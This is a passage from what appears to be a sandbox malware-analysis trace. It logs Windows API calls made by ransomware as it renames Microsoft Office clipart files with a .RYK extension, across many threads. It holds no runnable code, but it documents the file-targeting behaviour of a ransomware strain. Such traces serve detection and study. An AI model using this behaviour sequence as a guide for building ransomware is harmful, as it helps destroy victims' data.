	[0239.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1946
	os_tid = 0x240c

	[0239.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG", dwFileAttributes=0x80) returned 0
	[0239.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.291] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1947
	os_tid = 0x2410

	[0239.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG", dwFileAttributes=0x80) returned 0
	[0239.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.290] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1948
	os_tid = 0x2414

	[0239.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG", dwFileAttributes=0x80) returned 0
	[0239.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1949
	os_tid = 0x2418

	[0239.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG", dwFileAttributes=0x80) returned 0
	[0239.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.288] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1950
	os_tid = 0x241c

	[0239.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG", dwFileAttributes=0x80) returned 0
	[0239.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1951
	os_tid = 0x2420

	[0239.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG", dwFileAttributes=0x80) returned 0
	[0239.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.285] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1952
	os_tid = 0x2424

	[0239.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG", dwFileAttributes=0x80) returned 0
	[0239.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1953
	os_tid = 0x2428

	[0239.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG", dwFileAttributes=0x80) returned 0
	[0239.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.418] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1954
	os_tid = 0x242c

	[0239.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG", dwFileAttributes=0x80) returned 0
	[0239.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.419] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1955
	os_tid = 0x2430

	[0239.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG", dwFileAttributes=0x80) returned 0
	[0239.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.421] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1956
	os_tid = 0x2434

	[0239.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG", dwFileAttributes=0x80) returned 0
	[0239.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1957
	os_tid = 0x2438

	[0239.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG", dwFileAttributes=0x80) returned 0
	[0239.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1958
	os_tid = 0x243c

	[0239.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG", dwFileAttributes=0x80) returned 0
	[0239.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.435] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1959
	os_tid = 0x2440

	[0239.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG", dwFileAttributes=0x80) returned 0
	[0239.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1960
	os_tid = 0x2444

	[0239.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG", dwFileAttributes=0x80) returned 0
	[0239.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1961
	os_tid = 0x2448

	[0239.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG", dwFileAttributes=0x80) returned 0
	[0239.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.431] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1962
	os_tid = 0x244c

	[0239.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF", dwFileAttributes=0x80) returned 0
	[0239.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.430] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1963
	os_tid = 0x2450

	[0239.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF", dwFileAttributes=0x80) returned 0
	[0239.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1964
	os_tid = 0x2454

	[0239.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF", dwFileAttributes=0x80) returned 0
	[0239.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1965
	os_tid = 0x2458

	[0239.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF", dwFileAttributes=0x80) returned 0
	[0239.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1966
	os_tid = 0x245c

	[0239.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF", dwFileAttributes=0x80) returned 0
	[0239.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1967
	os_tid = 0x2460

	[0239.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF", dwFileAttributes=0x80) returned 0
	[0239.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1968
	os_tid = 0x2464

	[0239.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF", dwFileAttributes=0x80) returned 0
	[0239.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.505] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1969
	os_tid = 0x2468

	[0239.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF", dwFileAttributes=0x80) returned 0
	[0239.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.506] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1970
	os_tid = 0x246c

	[0239.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF", dwFileAttributes=0x80) returned 0
	[0239.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1971
	os_tid = 0x2470

	[0239.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF", dwFileAttributes=0x80) returned 0
	[0239.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
